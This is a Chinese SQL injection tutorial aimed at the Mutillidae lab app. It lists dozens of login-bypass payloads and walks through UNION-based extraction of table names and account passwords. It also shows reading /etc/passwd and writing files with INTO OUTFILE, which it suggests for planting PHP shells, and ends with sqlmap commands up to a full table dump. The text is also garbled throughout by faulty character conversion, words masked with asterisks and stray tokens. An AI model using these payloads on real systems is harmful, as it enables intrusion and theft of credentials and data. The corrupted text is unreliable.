SQL注入漏洞利用

0x00前言

SQL注入是一種注入***,能夠執行惡意SQL語句。這些語句控制Web應用程序後面的數據庫服務器。***者能夠利用SQL 注入漏洞規避應用程序安全性方面的努力。他們能夠繞過頁面或Web應用程序的身份驗證和受權,並恢復整個SQL數據庫的內容。他們一樣能夠利用SQL注入來包含,更改和擦除數據庫中的記錄。SQL注入漏洞可能會影響使用SQL數據庫的任何站點或Web應用程序,例如MySQL,Oracle,MSSQL或其餘。***者可能會利用它來增長對您的敏感信息,客戶數據,商業祕密,許可創新的未經許可的訪問,而這僅僅是冰山一角。php

而因爲sql注入漏洞得利用有些普遍,所以咱們將沒法說起SQL注入的全部細節,而是從基礎知識開始對其中的一些內容進行說明。爲此,咱們將使用metasploitable的Mutillidae Web應用程序,該Web應用程序僅出於演示目的容易受到SQL 注入***。
在這裏插入圖片描述
選擇「 Mutillidae」連接,而後轉到「登陸/註冊」選項卡並註冊以建立一個賬戶。sql

在這裏插入圖片描述

提供必要的信息,而後單擊「建立賬戶」按鈕。
在這裏插入圖片描述數據庫

如今,讓咱們使用一些SQL注入技術來繞過登陸頁面,本教程介紹了***者能夠用來破壞登陸表單的不一樣方法。ubuntu

0x01 在POST字段中發現SQL注入

咱們將在示例中使用的登陸結構很是簡單。它包含兩個易受***的輸入字段(用戶名和密碼)。後端內容建立查詢以批准客戶端提供的用戶名和密鑰。如下是頁面基本原理的概述:後端

$ query ="SELECT * FROM users where where username ='$ _ POST [username]'AND password ='$_POST[password]'";安全

爲了避開登陸和訪問受限區域,***者須要構建一個SQL部分,該部分將更改「 WHERE」子句並將其設爲true。例如,隨附的登陸數據將經過濫用password參數中存在的弱點來提供對***者的訪問權限。對於用戶名,請輸入「 john.doe」或「 anything」,對於密碼,請輸入「 anything」 or「 1」 ='1)或(admin(or'1'='1),而後嘗試登陸,而後您將顯示一個管理員登陸頁面。
在這裏插入圖片描述
在這裏插入圖片描述服務器

讓咱們看一下生成的查詢:網絡

SELECT * FROM users,其中username ='john.doe'AND password ='anything'or'1'='1'
因爲操做員的優先權,「and」條件將首先評估。框架

而後評估「 OR」運算符,使「 WHERE」語句爲真。該條件對「users」表的全部行均有效。這意味着將忽略給定的用戶名,而且***者將以「users」表中的主要用戶身份登陸。此外,這意味着***者無需知道用戶名便可訪問框架。查詢將爲他發現一個!ide

在這些簡單的示例中,咱們已經看到***者能夠迴避使用SQL注入的身份驗證系統。在不限制可能形成的災難性後果的狀況下,必須提到的是,SQL注入比登陸繞過具備更大的安全影響。如下是OWASP成員Emin Islam Tatlilf博士建立的命令列表,這些命令可用於SQL注入身份驗證旁路。

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin’--
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1'--
admin’ or ‘1’=’1'#
admin’ or ‘1’=’1'/*
admin’or 1=1 or ‘’=’
admin’ or 1=1
admin’ or 1=1--
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1'--
admin’) or (‘1’=’1'#
admin’) or (‘1’=’1'/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1'--
admin’) or ‘1’=’1'#
admin’) or ‘1’=’1'/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ‘81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin」 #
admin」/*
admin」 or 「1」=「1
admin」 or 「1」=「1」--
admin」 or 「1」=「1」#
admin」 or 「1」=「1」/*
admin」 or 1=1 or 「「=「
admin」 or 1=1
admin」 or 1=1--
admin」 or 1=1#
admin」 or 1=1/*
admin」) or (「1」=「1
admin」) or (「1」=「1」--
admin」) or (「1」=「1」#
admin」) or (「1」=「1」/*
admin」) or 「1」=「1
admin」) or 「1」=「1」--
admin」) or 「1」=「1」#
admin」) or 「1」=「1」/*
1234 「 AND 1=0 UNION ALL SELECT 「admin」, 「81dc9bdb52d04dc20036dbd8313ed055

0x02 繞過登陸字段

在此示例中,咱們將僅定位用戶名字段並嘗試得到訪問權限。用戶名字段也很容易受到***,一樣也可能被濫用來訪問框架。***者繞過身份驗證的要求不高,並且逐漸變得常識,由於他能夠選擇他可能想要登陸的用戶記錄。

這是SQL注入***的外觀。將(admin'#)或(admin'--)放在用戶名字段中,而後按「 Enter」登陸。咱們使用「#」或「--」來註釋用戶名後告訴查詢語句的全部內容忽略密碼字段的數據庫:(選擇*來自用戶,其中username ='admin'#AND password ='')。經過使用行註釋,***者能夠消除部分登陸條件並得到訪問權限。這項技術將使「 WHERE」子句僅對一個用戶成立。在這種狀況下,它是「管理員」。
在這裏插入圖片描述
在這裏插入圖片描述

0x03 基於聯合的SQL注入

基於UNION的SQL注入***使分析儀能夠有效地從數據庫中提取數據。因爲若是兩個查詢的結構徹底相同,則必須使用「 UNION」運算符,所以***者必須像第一個查詢同樣編寫「 SELECT」語句。爲此,必須知道一個實質性的表名,可是決定第一個查詢中的列數及其信息類型一樣相當重要。

在本教程中,咱們將使用Mutillidae 的「用戶信息」頁面執行基於聯合的SQL注入***。轉到「 OWASP Top 10 / A1 —注入/ SQLi —提取數據/用戶信息」,並使用在咱們上面學習的登陸繞過技術來訪問該頁面。
在這裏插入圖片描述
在這裏插入圖片描述

咱們全部的***媒介都將使用基於聯合的技術在頁面的URL部分中執行。

有兩種不一樣的方法來發現原始查詢選擇了多少列。首先是注入「 ORDER BY」語句以查詢列號。給定指定的列數大於「 SELECT」語句中的列數,將返回錯誤。不然,結果將按提到的列進行排序。
在這裏插入圖片描述

因爲咱們不知道列數,所以咱們從100開始。使用二分法,要找到確切的列數,請減小列數,直到返回與「 ORDER BY」子句相關的錯誤爲止。在此示例中,咱們將其減小到6列並收到一條錯誤消息,所以這意味着列數少於6。
在這裏插入圖片描述

當咱們輸入5列是,它能夠工做並顯示一些信息。這意味着咱們可使用5列。

接下來,而是採用 了「order by」選項,讓咱們使用「union select」選項,並提供全部5列。例如:

union select 1,2,3,4,5
在這裏插入圖片描述

如上圖中所示,第二、3和4列顯示出來了可用,所以咱們能夠將這些數字替換爲任何數據庫值以查看它們對應的含義。讓咱們將第2列更改成「 database()」,將第 3列更改成「 user()」,將第4列更改成「 version()」。

例如:

union select 1,database(),user(),version(),5
在這裏插入圖片描述

這個聯合命令爲咱們提供了一些有用的信息。如今,咱們知道數據庫爲「 owasp10」,其用戶爲「 root@localhost」,服務器的版本爲「 5.0.51a-3ubuntu5」。根據這些信息,咱們能夠搜索一些漏洞或exp,以進一步破壞目標。

0x04 查找數據庫表

在構建查詢數據庫以提取敏感數據以前,***者必須認識到他須要提取哪些信息以及該信息在數據庫中的存儲位置。首先,必須意識到您極可能查看數據庫用戶有權訪問的表。換句話說,您的會話客戶端極可能會聲明或已向客戶端授予必定受權的概要表。其餘全部表彷佛都不存在。

在MySQL中,表「 information_schema.tables」包含用表項標識的全部元數據。下面列出了此表上最有用的信息。

「 table_name」:表的名稱。

「 table_schema」:表模式名。

若是要限制返回到當前模式的表的列表,則能夠添加「 WHERE」子句以結合「 DATABASE()」和「 SCHEMA()」函數來過濾此列。

例如:

union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’
在這裏,咱們要從「 owasp 10」數據庫中檢索表名
在這裏插入圖片描述

如上圖所見,咱們能夠訪問多個名爲「accounts(帳號)」,「 blogs_table」,「 captured_data」,「 credit_cards」,「 hitlog 」和「 pen_test_tools」的表。

0x05提取敏感數據,例如密碼

當***者知道表名時,他須要發現提取數據的列名。在MySQL中,表「 information_schema.columns」提供有關表中列的數據。要提取的最有用的列之一稱爲「 column_name」。」

例如:

union select 1,colunm_name,null,null,5 from information_schema.columns where table_name = ‘accounts’
在這裏,咱們嘗試從「賬戶」表中提取列名稱。
在這裏插入圖片描述

一旦發現全部可用的列名,咱們就能夠經過在查詢語句中添加這些列名來從中提取信息。

例如:

union select 1,username,password,is_admin,5 from accounts
在這裏插入圖片描述

如上圖所示,咱們設法檢索了與此數據庫相關的全部用戶名和密碼。

0x06 在Web服務器上讀寫文件

在本小節內容中,我將告訴您訪問目標計算機上文檔的最佳方法,就像如何將本身的文件和代碼傳輸到目標計算機上同樣,而無需踏入目標網站的管理面板。

咱們可使用「 LOAD_FILE()函數」運算符細讀網絡服務器中包含的任何文件的內容。一般,咱們將檢查「 / etc / password」文件,以查看是否能幸運地得到用戶名和密碼,以便之後在爆破***中使用。

例:

union select null,load_file(‘/etc/passwd’),null,null,null
在這裏插入圖片描述

咱們將利用「 INTO_OUTFILE()」函數爲它們提供的全部運算符,並嘗試經過SQL注入傳輸外層代碼來嘗試創建目標服務器的根目錄。請記住,這樣作的通常目的是告訴您最佳方法,而不會被管理員面板抓住。這種替代方法使您能夠從一列中獲取內容,並在整潔的文本文件中發現它們,以保持整潔。您還能夠利用它來傳輸PHPShell代碼以執行遠程文件包含或CMD執行。

例:

union select null,’Hello World!’,null,null,null into outfile ‘/tmp/hello.txt’
在此示例中,咱們將編寫「 Hello World!」。句子並將其做爲「 hello.txt」文件輸出到「 / tmp /」目錄中。這個「 Hello World!」 能夠用您要在目標服務器中執行的任何PHP Shell代碼替換該語句。
在這裏插入圖片描述

如上圖中所示,咱們成功添加了文本並將其保存爲「 hello.txt」文件在「 / tmp」目錄中。

0x07 使用SQLmap發現SQL注入並提取數據

Sqlmap是最主流和突破性的SQL注入自動化工具中的佼佼者。給定一個易受***的HTTP URL請求,sqlmap能夠濫用遠程數據庫並完成大量***操做,例如刪除數據庫名稱,表,列,表中的全部數據,等等。它甚至能夠在特定條件下在遠程文件系統上讀寫文檔。

不熟悉sqlmap時,可能會很棘手。此sqlmap教學練習旨在以生動,基本的方式展現此主流SQL注入設備的最重要功能。

要啓動sqlmap並列出全部可用選項,請鍵入「 sqlmap --help」。它將提供您須要瞭解的全部內容以及一些在實踐中如何使用它的示例。讓咱們更仔細地看一下這個工具。
在這裏插入圖片描述

轉到Mutillidae登陸頁面,輸入一些錯誤的憑據,而後按「 Enter」以生成流量並建立URL GET參數。
在這裏插入圖片描述

而後複製URL連接,並在sqlmap工具中使用它。

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details
這裏的「 -u」表明您要執行SQL注入*** 的 目標URL。要跳過特定於其餘DBMS的測試有效負載,請輸入「 Y」。
在這裏插入圖片描述

在搜索的幾分鐘內,sqlmap已經發現用戶名是可注入的而且容易受到***,如屏幕截圖所示。
在這裏插入圖片描述

若是要查找更多漏洞,只需讓該過程運行到最後,它就能夠找到全部可用漏洞。對於演示,咱們將按「 Crtl + C」在此處中止。

在此sqlmap教程中,有關提取數據的事情確實使人着迷。從SQL注入點恢復存儲在數據庫中的信息是一項艱鉅的任務,尤爲是當沒有結果直接返回到易受***的網頁中時。幸運的是,使用sqlmap可以使分析儀提取寶貴的數據片斷,而無須手工操做。首先,讓咱們使用相似的命令來提取要嘗試破解的網站上全部可用的數據庫,但最後,爲數據庫添加「 --dbs」選項。

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --dbs
在這裏插入圖片描述

sqlmap提取了全部可用的數據庫。要注入更多的SQL查詢,咱們須要使用相同的命令來了解當前數據庫,但將最後一個參數替換爲「 --current-db」。

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --current-db
此命令的輸出顯示咱們位於「 owasp10」數據庫中。
在這裏插入圖片描述

如今,使用命令「 --tables –D owasp10」來查看數據庫「 owasp10」的全部可用表。
在這裏插入圖片描述

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --tables –D owasp10

以下圖所示,咱們設法提取了數據庫「 owasp10」的全部可用表。
在這裏插入圖片描述

sqlmap還能夠經過實現參數「 --columns -T [table_name]」來枚舉列。

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --columns -T accounts

在這裏插入圖片描述

***甚至有可能轉儲整個表或數據庫,並使用選項「 --dump」列出全部有價值的信息。

例:

sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details — columns -T accounts --dump
在這裏插入圖片描述

翻譯至medium.com

免責申明:本文由互聯網整理翻譯而來,僅供我的學習參考,若有侵權,請聯繫咱們,告知刪除。

相關文章
相關標籤/搜索